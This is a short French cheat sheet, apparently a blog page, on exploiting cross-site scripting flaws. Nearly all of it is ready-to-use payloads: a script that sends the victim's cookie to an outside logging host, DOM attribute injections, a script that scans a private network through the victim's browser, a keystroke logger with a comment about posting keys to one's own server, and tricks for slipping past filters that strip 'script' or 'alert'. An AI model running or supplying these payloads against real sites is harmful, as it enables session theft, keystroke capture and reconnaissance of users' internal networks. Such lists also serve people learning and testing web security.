Exploiter les vulnérabilités XSS

Vérifier si un site est vulnérable à une faille XSS (réflexion). On entre ce code dans une boîte de recherche. Si rien n’est filtré, souvent, dans le résultat de recherche, les termes recherchés sont affichés.

<script>alert("Hello")</script>
<script>alert(window.location.hostname)</script> #alternative

Afficher le cookie du site
<script>alert(document.cookie)</script>

Voler un cookie
<script>document.location='http://www.searchevolution.com/log/'+document.cookie</script>

Changer le contenu de la page web

<script>document.querySelector('#thm-title').textContent = 'I am a Hacker'</script>
document.getElementById('thm-title').innerHTML="test";

Xss DOM. Parfois une partie du DOM est modifié et une action est nécessaire pour activer notre script. Par exemple, on peut nous demander le nom d’un image et afficher cette nouvelle image sur le site. On pourrait insérer un code de cette façon qui serait exécuté lorsque la souris serait au dessus de cette image.
/image.png" onmouseover="alert(document.cookie)

Vérifier si le routeur a un interface web
<img src="http://192.168.0.1/favicon.ico" onload="alert('Found')" onerror="alert('Not found')">

scanner un réseau privé


 <script>
 for (let i = 0; i < 256; i++) {
  let ip = '192.168.0.' + i

  let code = '<img src="http://' + ip + '/favicon.ico" onload="this.onerror=null; this.src=/log/' + ip + '">'
  document.body.innerHTML += code
 }
</script> 

Enregistreur de frappes en javascript (vulnérabilité xss)

 <script type="text/javascript">
 let l = ""; // Variable to store key-strokes in
 document.onkeypress = function (e) { // Event to listen for key presses
   l += e.key; // If user types, log it to the l variable
   console.log(l); // update this line to post to your own server
 }
</script> 

Exemple pour outrepasser un filtre qui enlève “script”
<img src="blah" onerror=alert("Hello") />

Exemple pour outrepasser un filtre qui enlève “alert”
<img src="blah" onerror=confirm("Hello") />

BeEF est un outil d’exploitation XSS (vecteurs d’attaques côté client)

Autres ressources
XSS-Payloads.com

Leave a Reply